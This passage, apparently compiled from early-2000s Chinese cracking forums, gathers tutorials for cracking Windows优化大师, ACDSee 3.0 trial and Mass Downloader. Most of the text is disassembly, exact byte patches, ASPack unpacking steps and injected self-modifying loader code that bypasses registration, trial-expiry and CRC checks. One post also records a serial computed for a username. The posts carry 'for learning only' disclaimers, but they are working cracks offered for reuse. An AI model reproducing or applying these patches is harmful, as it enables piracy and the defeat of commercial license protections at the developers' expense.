用UltraEdit手动修改以上各处,运行一下,然后注册看到什么了,哈是不是很爽啊!!!
然后用CodeFusion制作一个补丁,就搞定了.

由于小弟水平有限,错误在所难免,请各位大虾多多指点!!!
如转载请保持文章完整性,请勿用于商业用途


Windows优化大师V4.3

 标 题:做不来注册机,只好暴破Windows优化大师V4.3 (4千字)
发信人:Phonax
时 间:2001-11-2 13:07:38
详细信息:
Windows 优化大师 V4.3 破解

经 FI V2.45 侦查得知安装得到的所有可执行文件都是用 Aapack V2.11 加的壳
分别用 unaspack V2.11c 给 OctoDll.dll 和 Windows优化大师.exe 脱壳
再用 w32dasm V8.93 反汇编脱壳后的可执行文件

在 Windows优化大师.exe 中

:004E4D79 E8B6FCFFFF Call 004E4A34 //进 OctoDll.dll 检查注册码
:004E4D7E 83F814 cmp eax, 00000014 //返回值为 eax=14H 则正确
:004E4D81 7417 je 004E4D9A //标题栏变为"已注册"

因为跟踪发现退出后重新运行 Windows优化大师.exe 又会执行到上面的代码, 故考虑修改
OctoDll.dll 中得出返回值的代码:

:004043DC 85C0 test eax, eax //若 eax=0H //若 eax<>0H
:004043DE 7504 jne 004043E4 //这里不跳 //这里跳
:004043E0 33DB xor ebx, ebx //置 ebx=0H
:004043E2 EB04 jmp 004043E8 //ebx 赋给 eax 作为返回值
:004043E4 0FB75DF6 movzx ebx, word ptr [ebp-0A] //把检查结果通过 ebx 赋给 eax 作为返回值
:004043E8 33C0 xor eax, eax

在注册码错误的情况下,上面的执行过程都是错误的,干脆直接置 ebx=14H 再赋给 eax 作为返回值

:004043DC 90 nop
:004043DD BB14000000 mov ebx, 00000014
:004043E2 EB04 jmp 004043E8

OctoDll.dll 中的代码应作如下修改:
85C0750433DBEB04 ==> 90BB14000000EB04

在 Windows优化大师.exe 执行时代码修改地址为 005F43DC
由于 Windows优化大师.exe 主程序对加壳的 OctoDll.dll 进行CRC校验,不能直接修改 OctoDll.dll 文件
故考虑通过 Windows优化大师.exe 中在加壳代码还原后用SMC技术完成这项操作

用 topo V1.2 在加壳的 Windows优化大师.exe 中拓展30个字节的空间,位于 Offset=7CE19H 处
注意选上重定向入口点(即将入口点改为 Offset=7CE19H 对应的绝对地址 00577019)及使代码可写
然后修改加壳的 Windows优化大师.exe 中自 Offset=7CE19H 始的代码:

:00577019 66C705DC435F0090BB mov word ptr [005F43DC], BB90
:00577022 C705DE435F0014000000 mov dword ptr [005F43DE], 00000014
:0057702C E913E40600 jmp 005E5444
:00577031 90

由此得到的 Windows优化大师.exe 之彻底破解版可接受任意注册码,并可网上升级
另外未注册或注册失败时,注册表存在如下字符串键值
HKEY_LOCAL_MACHINE\Software\Wom\Masters = "0F0F0F0F"
注册成功则此键值不存在
Sysdoctor.exe 会根据该键值存在与否决定 Windows优化大师 是否正常注册过

---------------------------------------------------------------------------------------
深入内层的破解方法

OctoDll.dll

:00404301 E8B2FDFFFF call 004040B8

:00404306 83E802 sub eax, 00000002
:00404309 8945E0 mov dword ptr [ebp-20], eax
:0040430C C165DC02 shl dword ptr [ebp-24], 02
/005F4306 6810435F00 push 005F4310 //置返回地址
/005F430B E92B2DF8FF jmp 0057703B

:00404310 8D4DDC lea ecx, dword ptr [ebp-24]
:00404313 8B01 mov eax, dword ptr [ecx]
:00404315 8B5104 mov edx, dword ptr [ecx+04]
:00404318 0FACD002 shrd eax, edx, 02 //双精度右移
:0040431C C1EA02 shr edx, 02
:0040431F 8901 mov dword ptr [ecx], eax
:00404321 895104 mov dword ptr [ecx+04], edx
:00404324 8B45DC mov eax, dword ptr [ebp-24]
:00404327 3B45E4 cmp eax, dword ptr [ebp-1C]
:0040432A 7404 je 00404330

设法在 00404310 之前提取注册用户的正确校验码[ebp-1C],作校验过程的逆运算,用所得结果覆盖
通过伪注册码计算得到的中间校验码[ebp-24]及[ebp-20]
用SMC技术可这样实现:
先用 topo V1.2 在加壳的 Windows优化大师.exe 中拓展61个字节的空间,位于 Offset=7CE19H 处

:00577019 66C70506435F006810 mov word ptr [005F4306], 1068 //修改代码,改变走向
:00577022 C70508435F00435F00E9 mov dword ptr [005F4308], E9005F43
:0057702C C7050C435F002B2DF8FF mov dword ptr [005F430C], FFF82D2B
:00577036 E909E40600 jmp 005E5444 //回到原加壳的 Windows优化大师.exe 的入口点
:0057703B 8B55E4 mov edx, dword ptr [ebp-1C] //注册用户的正确校验码
:0057703E C1EA1E shr edx, 1E
:00577041 83C250 add edx, 00000050 //保存进位以备双精度右移
:00577044 8955E0 mov dword ptr [ebp-20], edx
:00577047 8B55E4 mov edx, dword ptr [ebp-1C]
:0057704A C1E202 shl edx, 02 //双精度右移的反向操作
:0057704D 8955DC mov dword ptr [ebp-24], edx
:00577050 C3 ret
相关信息: 麻烦,省点力改两字节:83F8147417改作83F8147517; 83F8147407改作83F8147507 (空)(cray 今天19:58 阅读 0)

标 题:暴破Windows优化大师V4.31 Build 920 (3千字)
发信人:Phonax
时 间:2001-11-5 15:54:46
详细信息:

Windows 优化大师 V4.31 破解

经 FI V2.45 侦查得知安装得到的所有可执行文件都是用 Aapack V2.11 加的壳
可以分别用 unaspack V2.11c 给 OctoDll.dll 和 Windows优化大师.exe 脱壳
在 Windows优化大师.exe 中修改判断返回值的跳转使之成为彻底破解版(这里从略)

-----------------------------------------------------------------------
深入内层的破解方法

OctoDll.dll

:00404301 E8B2FDFFFF call 004040B8

:00404306 83E802 sub eax, 00000002
:00404309 8945E0 mov dword ptr [ebp-20], eax
:0040430C C165DC02 shl dword ptr [ebp-24], 02
/005F4306 6810435F00 push 005F4310 //置返回地址
/005F430B E92B3DF8FF jmp 0057803B

:00404310 8D4DDC lea ecx, dword ptr [ebp-24]
:00404313 8B01 mov eax, dword ptr [ecx]
:00404315 8B5104 mov edx, dword ptr [ecx+04]
:00404318 0FACD002 shrd eax, edx, 02 //双精度右移
:0040431C C1EA02 shr edx, 02
:0040431F 8901 mov dword ptr [ecx], eax
:00404321 895104 mov dword ptr [ecx+04], edx
:00404324 8B45DC mov eax, dword ptr [ebp-24]
:00404327 3B45E4 cmp eax, dword ptr [ebp-1C]
:0040432A 7404 je 00404330

设法在 00404310 之前提取注册用户的正确校验码[ebp-1C],作校验过程的逆运算,用所得结果覆盖
通过伪注册码计算得到的中间校验码[ebp-24]及[ebp-20]
用SMC技术可这样实现:
先用 topo V1.2 在加壳的 Windows优化大师.exe 中开辟56个字节的空间,位于 Offset=7D019H 处

:00578019 66C70506435F006810 mov word ptr [005F4306], 1068 //修改代码,改变走向
:00578022 C70508435F00435F00E9 mov dword ptr [005F4308], E9005F43
:0057802C C7050C435F002B3DF8FF mov dword ptr [005F430C], FFF83D2B
:00578036 E9C6DF0600 jmp 005E6001 //回到原加壳的 Windows优化大师.exe 的入口点
:0057803B 8B55E4 mov edx, dword ptr [ebp-1C] //注册用户的正确校验码
:0057803E C1EA1E shr edx, 1E
:00578041 83C250 add edx, 00000050 //保存进位以备双精度右移
:00578044 8955E0 mov dword ptr [ebp-20], edx
:00578047 8B55E4 mov edx, dword ptr [ebp-1C]
:0057804A C1E202 shl edx, 02 //双精度右移的反向操作
:0057804D 8955DC mov dword ptr [ebp-24], edx
:00578050 C3 ret

由此得到的 Windows优化大师.exe 之彻底破解版可接受任意注册码,并可网上升级
另外未注册或注册失败时,注册表存在如下字符串键值
HKEY_LOCAL_MACHINE\Software\Wom\Masters = "0F0F0F0F"
注册成功则此键值不存在
Sysdoctor.exe 会根据该键值存在与否决定 Windows优化大师 是否正常注册过

附注:
经由上面这种改动, Windows优化大师.exe 相对于原来的文件的变化可以总结如下:
1)修改原 Windows优化大师.exe 文件的文件头 Header
即将 128H~12BH 这个 dword 单元的 01601E00 (就是说原 Header 位于 00400000+001E6001=005E6001H)
改为 19801700 (故新的 Header 的 RVA: 00578019-00400000=00178019H, 所以把 01601E 改为 198017)
2)开辟的56个字节的空间,位于 Offset=7D019H 处, 所以把 7D019H 起的56个字节修改为:
:00578019 66C70506435F006810 mov word ptr [005F4306], 1068
:00578022 C70508435F00435F00E9 mov dword ptr [005F4308], E9005F43
:0057802C C7050C435F002B3DF8FF mov dword ptr [005F430C], FFF83D2B
:00578036 E9C6DF0600 jmp 005E6001
:0057803B 8B55E4 mov edx, dword ptr [ebp-1C]
:0057803E C1EA1E shr edx, 1E
:00578041 83C250 add edx, 00000050
:00578044 8955E0 mov dword ptr [ebp-20], edx
:00578047 8B55E4 mov edx, dword ptr [ebp-1C]
:0057804A C1E202 shl edx, 02
:0057804D 8955DC mov dword ptr [ebp-24], edx
:00578050 C3 ret


ACDSee v3.0 trial build 1209

 标 题:不脱壳破解ACDSee v3.0 trial build 1209（SMC初步，很详细，国外文章） (8千字)
发信人:大波罗
时 间:2001-10-4 18:24:17
详细信息:
破解ACDSee v3.0 trial build 1209

由于本人英语水平有限，文中不懂之处请参见原文：http://users.belgacom.net/blackb/acdsee.html

翻译：大波罗

标题: Cracking
题目：Cracking
目标： ACDSee v3.0 trial build 1209
地址: http://www.acdsystems.com
作者： BlackB
日期： 2000-03-05
所用工具: SoftICE, Regmon, RegView, HIEW, Procdump
难度级别 (1-5): 3

写在开始之前：
这篇文章仅以教授知识为目的。软件生产者们花费大量时间用于编写他们的程序。他们依靠卖软件所得的钱生活，请购买正版软件吧！！！

I. 导言：
嗨！又一篇文章。这次是ACDSee。注意在这篇文章中用到了一些更高级的Cracking技巧。更深的Cracking知识和Hiew的用法是必须的。如果你是一个新手，我建议你先读一下这个站点的其它文章，如果你想做这些，那么继续吧。再次声明，这篇文章是面向高级cracker们的！也就是需要有高深的crack知识。
II. 关于它的保护：
30天试用期/NAGscreen/ ASpacked/ anti-w32dasm
III. 让我们开始吧：
好的，这将会是一段比较长而且不太容易的文章，我会尽力解释。首先我来对要接触的这的软件作个小小的总结。
1.这个软件被ASPack压缩，所以我们必须手工解压
2.不能用W32dasm发现它的保护，所以我们要用SoftICE对付它
3.EXE文件在解压后太大了，我将告诉你在不解压的情况下打补丁的方法

安装和运行程序。你会注意到无法输入序列号，也就是，你无法注册它，我们叫它试用版。当用反汇编时，W32dasm死锁了…mmmm.。如果我们看一眼十六进制编辑器，能发现（在开头部分）一个.aspack的段！那告诉我们程序被压缩了，所以让我们来解开它。但是！！！等等！在你开始之前我将告诉你如何做。用SoftICE的symbol loader装入压缩的程序（它在装入程序后就直接中断了），开始通过代码跟踪，直到你看到‘ret’指令和新的入口点（这点我将以后解释）。然后让程序无限循环，退出SoftICE和用prodump把整个过程dump下来。然后修复PE-header,意思是：将oep（原始入口点）写入到你在解压的过程之后发现的入口点。如果你没弄清，没有关系，以后我会做详细解释。

让我们开始做吧。单击“Open map”图标，双击ACDsee.exe,然后点击“Load”…什么！！？？SoftICE没有拦住！不要紧，可能是段已经设置了属性为C00000020。那些在决定段属性是只读，可写等方面有一定的意义，总之，要使ACDSee中断，我们要改变.text段的属性为C00000040，怎么做？启动prodump,单击“PE-editor”,装载“acdsee.exe”,点击“sections”。右键点击.text段，点击“edit section”,改变C00000020为C00000040。点击ok退出。

现在可以用symbol loader装入并且被中断了，现在我们来通过解开的代码来跟踪直到出现‘ret’指令。注意，我们将设置一些断点离开SoftICE,直到再次被中断，以便更好的跟踪。否则那样花费大量时间在跟踪上。如果你还是不懂，那就先读一下Volatility的关于手工脱壳的文章吧。

好了，当看到了‘ret’，你将看到：

0137:005554B4 OR EBX,EBX
0137:005554B6 MOV [EBP+00442E5C],EAX
0137:005554BC POPAD
0137:005554BD JNZ 005554C7 &szlig;总是会跳
0137:005554BF MOV EAX,00000001
0137:005554C4 RET 000C
0137:005554C7 PUSH 004A33BF &szlig;这就是真正程序的开始处
0137:005554CC RET

如果在执行完popad后你看一眼EAX，会是00555001。那就是我们的新入口点。注意，当你停在‘ret’指令上…停止跟踪！现在我们要对程序脱壳了。这时如果退出SoftICE,ACDSee将运行，我们便不能脱壳了…所以让我们在这里作一些改动，如果退出ICE程序永远循环。如何做到？输入以下指令

a eip 按回车键
jmp 5554CC按两次回车键

现在按ctrl-d,启动procdump，卷动应用程序列表滚动条，你在列表末尾会看到ACDSee。在它上面单右键，再点击Dump full。取名为ACDunp.exe存盘，然后用PE-edit修改它的原来的入口点为新的入口点…但是…它已经是00555001…，那么，我们不得不再作一些改变。不要忘记ACDSee仍然在循环…让我们返回上一步吧：按ctrl-d，sice窗口又弹出，你将看见我们仍停在退出sice的位置，现在输入：

a eip 按回车键
ret 按两次回车键

按ctrl-d,ACDSee开始运行了，关闭它，运行ACDunp.exe。如果你每一步都做得很好，它将和ACDSee运行的结果一样，注意到它比原始的.exe大了不少。

我试着反汇编解压的.exe文件，但是不行。让我们再次拿出SoftICE来crack它吧。第一件要做的是破解它的试用版限制。我花了一段时间搜索在那里作比较，终于找到了。我不想告诉你其它许多没有用的方法，但正确的方法是这样：设断点bpx getsystemtime，运行ACDSee,被SoftICE中断，按F12五次就可得到比较点，可以看到下面：

:0137:00433A85 CMP EAX,-04 [<- 错误检查]
:0137:00433A88 JNZ 00433AB4 [<-如果正确则跳]
..........
:0137:00433AB4 CMP EAX,-05[<- 过期了?]
:0137:00433AB7 JNZ 00433ACC [<- 如果过期了，不要跳，这里让它跳]
.........
[继续跟踪一段代码，直到…]
:0137:004045AD ADD ESP,04
:0137:004045B0 TEST EAX,EAX [<- 过期了?]
:0137:004045B2 JNZ 004045C6 [<- 如果过期了，不要跳]

因为要将JNZ 00433ACC 和 JNZ 004045C6 改为 JMP 00433ACC 和 JMP 004045C6。所以必须知道真实的偏移量。运行HIEW，装入ACDunp.exe，按F4，按F3,向下移直到偏移量为401000.按F3你将看风401000变成了真实的偏移量：600。为了得到偏移00433AB7的真正偏移，让我们来做些计算：43AB7-401000+600=330B7.所以真正的偏移量是3300B7。按F5，输入330B7，就在这里了，把JNZ改成JMP，将下一个也做同样的改动。

哇！没有过期提示了！

现在你是否注意到第一次运行ACDSee时，会显示一个提示试用版本的对话框？而且如果你在同一天内运行多次，它也不再显示？好吧，至少我是注意到了。打开Regview看看注册表里有没有象“remind”的键值。ACDSee的键值在HKLM\SOFTWARE\ACD Systems\ACDSee\。让我们来看一下。哈！看到了：EvalRemind!它的值代表了一月中的哪一天。它是这样工作的：ACDSee存储了你上一次使用它的时间。假设你在1-01-2000用了它，在EvalRemind存储为‘01’。你睡一觉醒来再用它，就是2-01-2000，ACDSEE比较存储的值‘01’和今天的日期‘02’…，当它不等的时候就会跳出“提示”窗口。 让我们想想，更深地想想。我们可以在RegQueryValueExa上设断点，但那将在等待这个进程被呼叫上千次上浪费许多时间，我们永远找不到在何处读EvalRemind。但是我以前说了什么？每次你用了ACDSee后它将存储天数在EvalRemind的值里面…所以，大概用了RegSetValueExa来存储。让我们试一下：用symbol loader装载ACDunp.exe，载入后设断点在RegSetValueExa上。你能注意到这个API函数被呼叫了5次！其中有一次就是将日期存在了EvalRemind键上。我们如何找到的？用Regmon.运行Regmon，设置过滤器排除下列进程：iexplore;explorer;regmon。然后在运行ACDunp.exe，看看注册表的修改动作。到冗长的列表开头（大约4500条动作，知道为什么windows会这么慢了吧？）查找“setvalue”。你可以发现有五次……看看….第五次就是我们的EvilRemind键！！

再装入ACDunp.exe，在RegSetValueExa上设断点，当SoftICE窗口弹出第五次的时候，按F12两次，退出子程序，你会看到：

:0137:00407BF2 CALL 00498670
:0137:00407BF9 JNZ 00407C12 <- 你在这里

如果这里跳了，就不在显示提示框了。你能找得出来吗？用跟踪整个CALL和试着读懂代码（正如我那样），或在跳转上设置断点，改变系统时钟再重新运行ACDunp.exe再看看发生了什么吗（将不会跳转）？将JNZ改也为JMP，工作完成了！
做完了？好的，文件尺寸现在变得很大，我们能否修改压缩的文件？是的，我们能！
让我想想……！我们在程序解压以前不能更改它，因为程序在压缩时，我们要修改的指令不在那儿。没问题，我们知道已解压的程序的末尾（看看文章的前面），然后我们在ACDSee.exe发现一些空的区域以便来插入我们的补丁代码。你可以这样做：用HIEW装入ACDSee,exe，往下翻页，再往下翻页，再往下翻页直到你发现你认为没有用到的空间（象许多0000000十六进制值）。现在小心了，因为一些这样的“空间”是用来存储没有压缩的数据。总之，我用了偏移量00556C25来插入补丁代码（真实偏移量是88025）.怎么做？

在解压缩程序的末尾我们跳到00556c25（等于插入我们补丁代码的地方）
补丁代码被执行，让它跳回解压缩程序的末尾。
插入的代码象这样：

PUSH 4A33BF //我们将不得不在解压程序的末尾用NOP填充完这个指令，所以我们在这里插入
PUSH EAX //保存EAX寄存器
MOV AL, 0EB //把JMP的十六进制代码(EB)放入AL
MOV [00433AB7], AL //改JNZ为JMP
MOV [004045B2], AL
MOV [00407BF9], AL
POP EAX //恢复EAX的值
JMP 005554CC //跳回解压程序的末尾（我们将跳回‘ret’指令）

好了，这是第一次你开始用这种方法来crack，我能想象这有相当难度，跟我一步步的做：

用HIEW装入ACDSee,exe

按F4,然后再按F3

按F5然后输入“868BD”(到解压代码末的JNZ，你在本文的开头可出看到)

按F3（编辑）

按F2（插入汇编代码）

输入“JMP 88025”（跳到我们插入代码的地方，注意要用真实的偏移地址）

输入“NOP”

输入“NOP”

按escape，按F9存盘

按F5输入“88025”

按F3，然后按F2插入我上面的写的代码（我们的补丁代码呈蓝色）

再次注意：你要键入“JMP 868CC”而不是JMP 005554CC因为你必须用真实的偏移量！

按escape，按F9存盘。

为了让事情更加清楚，这里对以上步骤做个总结：
[end of unpacker code]

jmp inserted_code
back: ret
......(其它代码)......
inserted_code:
PUSH 4A33BF
PUSH EAX
MOV AL, 0EB
MOV [00433AB7], AL
MOV [004045B2], AL
MOV [00407BF9], AL
POP EAX
JMP back

很不错，你成功了，如果你把每一件我告诉你的事做了，运行程序，它应该运行得很好：没有过期提示，也没有显示提示对话框了！又一个目标被破解了！如果你发现了任何问题，不要犹豫写信给我！

转载请保持完整
大波罗
http://wdfdiablo.myetang.com
2001.10.3


Mass Downloader v2.2.223 SR1

 标 题:Mass Downloader v2.2.223 SR1解密分析(1) (10千字)
发信人:FiNALSErAPH
时 间:2001-12-21 17:06:42
详细信息:
/////////////////////////////////////////////////////////////////////
//
// 目标软件：Mass Downloader
//
// 软件版本：v2.2.223 SR1
//
// 官方网站：http://www.metaproducts.com/
//
// 软件授权：共享软件
//
// 操作系统：Win95/98/ME、WinNT/2000
//
// 软件简介：
//
// 十分不错的下载工具软件，功能强大。支持多线程下载、断点续传，也具有
//
// 一定的下载文件管理能力。
//
// 软件保护：一般序列号保护、ASPACK加壳
//
/////////////////////////////////////////////////////////////////////
//
// 使用工具：TRW2000 v1.22 娃娃修改版
// (主要用于调试分析)
//
// HIEW v6.70 Registered - CORE
// (16进制编辑、制作SMC版本)
//
// Our Brain...:-)
//
/////////////////////////////////////////////////////////////////////
//
// 关于本文：本文主要目的在于教学，让初学者掌握一些基本的脱壳方法及
//
// 软件分析手段...请勿将此教程用于商业目的。
//
// Always Your Best Friend: FiNALSErAPH
//
// 水平有限，难免疏漏...
//
// Any Question?
// Mail To: FiNALSErAPH@yahoo.com.cn
//
// 2001-12-21
//
/////////////////////////////////////////////////////////////////////
//
// 第一部分：注册码校验分析 (以Single User License为例)
//
// 为了便于说明，使用FiNALSErAPH作用户名，7878787878787878
//
// 为输入的注册码
//
/////////////////////////////////////////////////////////////////////
//
// 为了更方便地找到注册码比对点，这里使用HMEMCPY作为断点，我假设读者
//
// 已经熟悉这一过程...如果你仍感到困惑...:-)继续努力吧
//
/////////////////////////////////////////////////////////////////////
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004EDDEA(C)
|
:004EDE0A 8D55FC lea edx, dword ptr [ebp-04]
:004EDE0D 8B83EC020000 mov eax, dword ptr [ebx+000002EC]
:004EDE13 E8ACAAF4FF call 004388C4
//我们以HMEMCPY作断点，F12多次，会
//来到此处...
:004EDE18 8D55F8 lea edx, dword ptr [ebp-08]
:004EDE1B 8B83F4020000 mov eax, dword ptr [ebx+000002F4]
:004EDE21 E89EAAF4FF call 004388C4

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004EDE08(U)
|

* Possible StringData Ref from Code Obj ->"U = "
|
:004EDE26 68CCDF4E00 push 004EDFCC
:004EDE2B FF75FC push [ebp-04]

* Possible StringData Ref from Code Obj ->", K = "
|
:004EDE2E 68DCDF4E00 push 004EDFDC
:004EDE33 FF75F8 push [ebp-08]
:004EDE36 8D45F4 lea eax, dword ptr [ebp-0C]
:004EDE39 BA04000000 mov edx, 00000004
:004EDE3E E8C962F1FF call 0040410C
:004EDE43 8B55F4 mov edx, dword ptr [ebp-0C]
:004EDE46 8B07 mov eax, dword ptr [edi]
:004EDE48 E837DC0000 call 004FBA84
:004EDE4D 8D55FC lea edx, dword ptr [ebp-04]
:004EDE50 8B07 mov eax, dword ptr [edi]
:004EDE52 8B4DF8 mov ecx, dword ptr [ebp-08]
:004EDE55 E8FAE70100 call 0050C654
:004EDE5A 84C0 test al, al
:004EDE5C 0F848C000000 je 004EDEEE
//很明显，上面的调用就是校验的核心
//F8进入004EDE55处的调用
/////////////////////////////////////////////////////////////////////
* Referenced by a CALL at Addresses:
|:004EDE55 , :004F9885
|
:0050C654 55 push ebp
:0050C655 8BEC mov ebp, esp
:0050C657 6A00 push 00000000
:0050C659 6A00 push 00000000
:0050C65B 6A00 push 00000000
:0050C65D 6A00 push 00000000
:0050C65F 6A00 push 00000000
:0050C661 53 push ebx
:0050C662 894DFC mov dword ptr [ebp-04], ecx
:0050C665 8BDA mov ebx, edx
:0050C667 8B45FC mov eax, dword ptr [ebp-04]
:0050C66A E8917BEFFF call 00404200
:0050C66F 33C0 xor eax, eax
:0050C671 55 push ebp
:0050C672 6857CB5000 push 0050CB57
:0050C677 64FF30 push dword ptr fs:[eax]
:0050C67A 648920 mov dword ptr fs:[eax], esp
:0050C67D C645FB00 mov [ebp-05], 00
:0050C681 8B55FC mov edx, dword ptr [ebp-04]

* Possible StringData Ref from Code Obj ->"dqma"
|
:0050C684 B870CB5000 mov eax, 0050CB70
:0050C689 E8AA7CEFFF call 00404338
:0050C68E 85C0 test eax, eax
:0050C690 7E12 jle 0050C6A4
:0050C692 8D55FC lea edx, dword ptr [ebp-04]
:0050C695 8BC3 mov eax, ebx
:0050C697 E804F6FFFF call 0050BCA0
:0050C69C 8845FB mov byte ptr [ebp-05], al
:0050C69F E990040000 jmp 0050CB34

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0050C690(C)
|
:0050C6A4 8B03 mov eax, dword ptr [ebx]

* Possible StringData Ref from Code Obj ->"angus rod"
|
:0050C6A6 BA80CB5000 mov edx, 0050CB80
:0050C6AB E8AC7AEFFF call 0040415C
:0050C6B0 0F847E040000 je 0050CB34
:0050C6B6 8B03 mov eax, dword ptr [ebx]

* Possible StringData Ref from Code Obj ->"Henry Hooker"
|
:0050C6B8 BA94CB5000 mov edx, 0050CB94
:0050C6BD E89A7AEFFF call 0040415C
:0050C6C2 0F846C040000 je 0050CB34
:0050C6C8 8B03 mov eax, dword ptr [ebx]

* Possible StringData Ref from Code Obj ->"David Arthurs"
|
:0050C6CA BAACCB5000 mov edx, 0050CBAC
:0050C6CF E8887AEFFF call 0040415C
:0050C6D4 0F845A040000 je 0050CB34
:0050C6DA 8B03 mov eax, dword ptr [ebx]
.
.
.
//这是很长的一串程序，且重复性很强。说白了，作者写的BlackList
//(哈哈，我倒是希望作者将我的Nick加入...:-))
//我们直接略过，来到下面地址
* Possible StringData Ref from Code Obj ->"Mass Downloader 1"
|
:0050CA33 6894CF5000 push 0050CF94
:0050CA38 FF33 push dword ptr [ebx]

* Possible StringData Ref from Code Obj ->"Single"
|
:0050CA3A 68B0CF5000 push 0050CFB0
:0050CA3F 8D45F4 lea eax, dword ptr [ebp-0C]
:0050CA42 BA03000000 mov edx, 00000003
:0050CA47 E8C076EFFF call 0040410C
:0050CA4C BB01000000 mov ebx, 00000001
:0050CA51 EB2B jmp 0050CA7E

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0050CA88(C)
|
:0050CA53 8B45FC mov eax, dword ptr [ebp-04]
:0050CA56 8A4418FF mov al, byte ptr [eax+ebx-01]
:0050CA5A 04D0 add al, D0
:0050CA5C 2C0A sub al, 0A
:0050CA5E 721D jb 0050CA7D
:0050CA60 04F9 add al, F9
:0050CA62 2C1A sub al, 1A
:0050CA64 7217 jb 0050CA7D
:0050CA66 04FA add al, FA
:0050CA68 2C1A sub al, 1A
:0050CA6A 7211 jb 0050CA7D
:0050CA6C 8D45FC lea eax, dword ptr [ebp-04]
:0050CA6F B901000000 mov ecx, 00000001
:0050CA74 8BD3 mov edx, ebx
:0050CA76 E81978EFFF call 00404294
:0050CA7B EB01 jmp 0050CA7E

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0050CA5E(C), :0050CA64(C), :0050CA6A(C)
|
:0050CA7D 43 inc ebx

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0050CA51(U), :0050CA7B(U)
|
:0050CA7E 8B45FC mov eax, dword ptr [ebp-04]
//在这里，D EAX就可以见到我们输入的
//错误注册码，下BPM EAX的断点，F5继
//续(按2次，就会发现如下的经典比对)。
/////////////////////////////////////////////////////////////////////
//经典比对程序片段
:00404185 8B0E mov ecx, dword ptr [esi]
:00404187 8B1F mov ebx, dword ptr [edi]
:00404189 39D9 cmp ecx, ebx
:0040418B 7558 jne 004041E5
//在这里分别D ESI、D EDI就可以看到
//参与比对的字符串，一个是我们输入
//的错误注册码，另一个...:-)赶紧用
//笔记录下来。
//在此处，我的用户名对应的值为：
//8856852571979FL
//88568-52571979-FL(v2.2.212)
//这个版本似乎没有对格式作严格要求
/////////////////////////////////////////////////////////////////////
:0050CA81 E8C675EFFF call 0040404C
:0050CA86 3BD8 cmp ebx, eax
:0050CA88 7EC9 jle 0050CA53
.
.
.
//找到正确的注册码了? 恐怕高兴得太早了...:-)不信试试看...
//此处还有如下的关键比对点
* Possible StringData Ref from Data Obj ->")?"
|
:0050CB1F B818455400 mov eax, 00544518
//此处D EAX，可以看到...我想是作者计
//算出的正版用户信息吧
//(这只是猜测，没有作具体分析)

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0050CB32(C)
|
:0050CB24 3B10 cmp edx, dword ptr [eax]
//注意此处的EDX值，这是由我的用户名
//算出的待校验值。我这里是03222F4B
:0050CB26 7506 jne 0050CB2E
:0050CB28 C645FB01 mov [ebp-05], 01
//呵呵，是否注册成功的标志。我可不是
//正版用户，所以按照正常流程，我不可
//能到达这里，不过如果我将此时EDX的
//值预先置于00544518指向的地址空间，
//我就可以成功注册
:0050CB2C EB06 jmp 0050CB34

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0050CB26(C)
|
:0050CB2E 83C004 add eax, 00000004
:0050CB31 4B dec ebx
:0050CB32 75F0 jne 0050CB24
.
.
.
//哦，错误注册的出口

标 题:Mass Downloader v2.2.223 SR1解密分析(2) - 完 (4千字)
发信人:FiNALSErAPH
时 间:2001-12-21 17:09:19
详细信息:

/////////////////////////////////////////////////////////////////////
//
// 第二部分：SMC补丁制作
//
/////////////////////////////////////////////////////////////////////
找到ASPACK解压缩完成，即将进入原始程序执行的地址。为什么? 这时候最好
打补丁嘛

具体方法：
我们就利用注册码错误的提示信息，下BPX MESSAGEBOXA的断点，中断并回到
主程序的领空后，记住当前的地址(在我这里是00456F56)。清除当前的所有断
点，并下新断点BPM 00456F56。重新运行程序...中断后再按一次F5，你会看
见当前的指令REP MOVSD，恭喜...你已经离原始程序入口不远了。向下搜索代
码，直到看到如下指令：

0167:0059F3BA 61 POPA
0167:0059F3BB 7508 JNZ 0059F3C5
0167:0059F3BD B801000000 MOV EAX, 01
0167:0059F3C2 C20C00 RET 0C
0167:0059F3C5 6800000000 PUSH DWORD 00 ***
0167:0059F3CA C3 RET
如果你曾研究过ASPACK的脱壳，就会很熟悉这一段程序了。现在我们注意到位
于0059F3C5处的指令还没有变化，所以下断点BPX 0059F3BA，见到变化如下：

0167:0059F3BA 61 POPA
0167:0059F3BB 7508 JNZ 0059F3C5
0167:0059F3BD B801000000 MOV EAX, 01
0167:0059F3C2 C20C00 RET 0C
0167:0059F3C5 6858205400 PUSH DWORD 00542058 ***OEP
0167:0059F3CA C3 RET
现在就可以打补丁了吗? 好象还不行哦。因为这是高版本的ASPACK压缩的，所
以你无法找到6800000000C3这一特征串，也就无法直接修改了。

先暂时不管这个问题，直接修改内存指令，作出补丁：

0167:0059F3BA 61 POPA
0167:0059F3BB E960030000 JMP 0059F720
//这是我找到的一处空闲段，直接在
//TRW2000中用A命令修改
0167:0059F3C0 90 NOP
.
.
.
0167:0059F3CA 90 NOP

0167:0059F720 C7051884540003222F4B MOV D, [00544518], 4B2F2203
0167:0059F72A 6858205400 PUSH 00542058
0167:0059F3CA C3 RET
//这是用HIEW修改的

好了，现在只剩下一个问题：如何正确地修改位于0059F3C5处的指令?
下BPM 0059F3BA的断点，断下后可以发现如下指令：

0167:0059F4FB 80043EE1 ADD BYTE [ESI+EDI], E1
//其实就是减1F啦
0167:0059F4FF B14D MOV CL, 4D
//我们停在这里，可是当我们查看上
//面的指令会看到一个错误指令，这
//应该是ASPACK作者耍的花招了，一
//种花指令。你可以通过F10多单步执
//行一段，重新回到0059F4FB时，就
//可以看到正确的指令了
0167:0059F501 B26A MOV DL, 6A

现在，我们可以计算出0059F3BB处的数据了。

E9 - 08 60 - 7F 03 - 22 00 - 1F 00 - 1F 90 - AF ... 90 - AF

/////////////////////////////////////////////////////////////////////
//
// 第三部分：补充说明
//
/////////////////////////////////////////////////////////////////////
以上的过程对v2.2.212来说，已经完成了整个解密过程。但是对这个版本还有
遗留问题：并没有解决过期问题，即时间到了还是会提示注册。为了解决这个
问题，我以是否注册的标志作为断点，找到了最后的置标志的指令：

